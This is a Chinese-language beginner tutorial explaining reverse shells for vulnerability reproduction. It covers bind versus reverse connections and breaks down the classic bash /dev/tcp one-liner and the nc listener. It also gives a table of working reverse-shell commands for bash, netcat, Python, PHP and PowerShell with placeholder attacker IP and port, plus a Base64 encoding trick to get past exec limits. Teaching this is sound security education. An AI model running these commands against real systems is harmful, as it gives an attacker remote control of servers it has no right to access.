Skip to content
📌知识点小结
  • Shell 是把键盘命令翻译给系统、再把结果带回来的“传令兵”;拿到 Shell 就意味着能对那台远程机器发号施令。
  • 正向(bind)由目标开门等你连、常被入站防火墙/NAT 拦;反弹(reverse)让目标主动发起出站连接、较易放行,是实战主流。
  • bash -i 启动交互式 Shell,/dev/tcp/IP/PORT 发起连接,>& 与 0>&1 把输出和输入都重定向到该连接(fd 0 输入 / 1 输出 / 2 错误)。
  • 顺序不能反:先在攻击机 nc -lvvp 开监听,再触发目标反弹;端口要一致,IP 填攻击机真实可达地址。
  • 命令若被 Runtime.exec 这类“不经 shell”的函数执行,> 与 /dev/tcp 会失效,需 Base64 + bash -c 还原(对应 Tomcat 案例 Step3)。
自测一下

← 返回入门筑基

反弹Shell到底是什么:一条命令为什么能控制一台服务器

复现漏洞最有成就感的瞬间,往往是这一幕:

你在自己电脑上敲了条命令,黑窗口里突然跳出对方服务器的提示符。你输 whoami,它回 root;你输 ls,它把对方的文件列了出来。

这就是大家常说的 GetShell,更具体点,叫「反弹 Shell」。

名字听着玄乎,其实原理一点都不复杂。这一篇,我们把它从头到脚讲明白。

一、先搞懂:Shell 是个什么东西

你可以把 Shell 理解成一个「传令兵」:

你用键盘输入命令,它负责翻译成操作系统听得懂的话、交给系统执行,再把结果带回来显示给你。

其实你早就用过它了——在 Linux 上打开终端,那个等你输入命令、一闪一闪的界面,就是一个 Shell。你输 ls,它列文件;你输 cd,它换目录。

所谓「拿到了 Shell」,说白了就是:你现在能对那台远程机器发号施令了。

问题只剩一个:你和那台机器之间,这条「传令通道」是怎么连上的?

二、正向连不上,那就让它「打回来」

连接有两个方向,这是理解反弹 Shell 的关键。

第一种,叫正向(bind):让目标机器开一扇门,老老实实等着你去敲门、进去。

听起来很自然,但现实中几乎行不通。因为服务器都躲在防火墙、内网后面,规则通常是「里面的人能出去,外面的人别想随便进来」。你在外面使劲敲,门根本够不着。

第二种,叫反弹(reverse):换个思路——既然我进不去,那就让目标机器主动来连我

防火墙拦的是「外面进来的」,对「里面主动出去的」连接往往管得没那么严。于是这条连接就能成功建立。一旦连上,你照样能发号施令。

打个比方:

你进不去一栋大楼,门口有保安(防火墙)。但你想办法让楼里的人主动给你打了个电话。电话接通后,他在那头听你指挥,你让他看哪个房间,他就去看、再把情况告诉你。

你 = 攻击机;楼里的人 = 目标服务器;这通电话 = 反弹 Shell。

两种方向画成图是这样:

对比项正向 Shell(Bind)反弹 Shell(Reverse)
谁主动发起连接攻击机 → 目标目标 → 攻击机
目标要做的事在本地开一个监听端口主动连出到攻击机
主要障碍入站端口常被防火墙/NAT 挡住目标需能出网到攻击机
典型场景同网段、可控防火墙公网打内网、绝大多数实战

三、一条经典命令,逐段拆开看

最常见的一条反弹命令长这样(先别慌,我们一段段拆):

bash
bash -i >& /dev/tcp/你的IP地址/你的端口 0>&1

bash -i 启动一个交互式的 Shell(-i = interactive)。就是专门给人用、能一问一答的那种。

/dev/tcp/你的IP/你的端口 这是 Bash 提供的一个特殊写法。你往这个「文件」写东西,本质上就是向「你的 IP + 端口」发起一个网络连接。对方是谁?就是你自己的攻击机。

>&0>&1 这两段是重定向,作用是把 Shell 的输入和输出,全都「接到」刚才那条网络连接上。这样你敲的字能传过去,它执行的结果能传回来。

要看懂重定向,先记住三个标准文件描述符:

描述符名字默认指向
0标准输入 stdin键盘
1标准输出 stdout屏幕
2标准错误 stderr屏幕

>& /dev/tcp/... 是把输出(默认 1)重定向到这条连接;0>&1 是"让输入 0 指向输出 1 现在去的地方",也就是也接到连接上。一来一回,通道就双向打通了。

整句话翻译成人话就是:

「在目标机器上开一个 Shell,让它连到我这台机器的指定端口,并且把它的输入输出全走这条连接。」

四、别忘了:你这边得先「接电话」

既然是让目标主动打给你,那你这边必须先有一台「电话」在等着,否则它打过来没人接。

这台电话,就是在你自己的攻击机上启动的监听,最常用的是 nc(netcat):

bash
nc -lvvp 你的端口
  • -l:监听模式,相当于把电话拿起来等;
  • -v:显示详细信息,有连接进来你能看到;
  • -p 后面跟端口号,要和反弹命令里写的端口一模一样

顺序千万别搞反:先在自己机器开监听,再去触发目标的反弹命令。 就像你得先开机等着,对方的电话才能打通。

一切顺利的话,监听窗口里就会跳出目标机器的 Shell——恭喜,你 GetShell 了。

五、新手最容易踩的几个坑

反弹 Shell 看着简单,新手翻车基本就这几个原因,先记住,能省你好几个小时:

1. 反弹 IP 填错(最高发)

命令里「你的 IP」必须是目标能够访问到的、你这台攻击机的地址

  • 127.0.0.1:那是让目标连它自己,你当然啥也收不到;
  • 在 Docker 靶场里乱填 172.x.x.x:容器网络和你想的不一样;
  • 靶场和攻击机不在一台机器上,却填了内网地址。

记住一个原则:填你攻击机的真实可达 IP(云服务器就填它的公网 IP)。

2. 端口没监听,或被防火墙拦

一边没开 nc,或者端口被安全组、防火墙挡住,连接照样建立不了。云服务器记得在控制台放行你用的端口。

3. 命令被「程序」执行时,重定向语法失效

这是个进阶大坑:很多漏洞里,命令不是交给 Bash、而是交给类似 Java 的 Runtime.exec() 来执行的。它不认 >&/dev/tcp 这一套 Bash 语法,结果命令被拆得七零八落,Shell 弹不出来。

这个坑在 Tomcat 那个 GetShell 案例里我完整踩过、也给了绕过办法(Base64 + 花括号),等你学到对应漏洞的 Step3 详解时会看到,这里先有个印象。

六、不同环境,用哪条反弹命令

目标机器上有什么解释器,就用对应的命令。把下面的 IPPORT 换成你攻击机的地址和监听端口:

环境反弹命令(示意)
Bashbash -i >& /dev/tcp/IP/PORT 0>&1
nc(支持 -e)nc -e /bin/sh IP PORT
nc(不支持 -e)rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT >/tmp/f
Pythonpython3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
PHPphp -r '$s=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
PowerShell(Windows)powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('IP',PORT);$s=$c.GetStream();..."(完整一行版)

选用顺序通常是:先看有没有 bash/python 这类好构造的,再退而求其次用 nc/PHP。判断目标有什么,可以在注入点执行 which bash python python3 nc php(有回显时),或从目标是什么应用、什么镜像来推断。

提醒:这些命令在"交给 shell 执行"时最顺。如果是被 Runtime.exec 这类不经 shell 的函数执行,特殊符号和 /dev/tcp 会失效,需要用 Base64 编码 + bash -c {echo,...} 的方式还原成 shell 执行——对应 Tomcat 案例 Step3 详解。

写在最后

反弹 Shell 一点魔法都没有,它就三步:

  1. 在自己机器开监听(接电话);
  2. 让目标执行反弹命令(主动打给你);
  3. 连接建立,开始发号施令。

真正难的从来不是这条命令本身,而是怎么在具体的漏洞和环境里,让这条命令成功跑起来——这正是后面一个个实战案例要带你练的东西。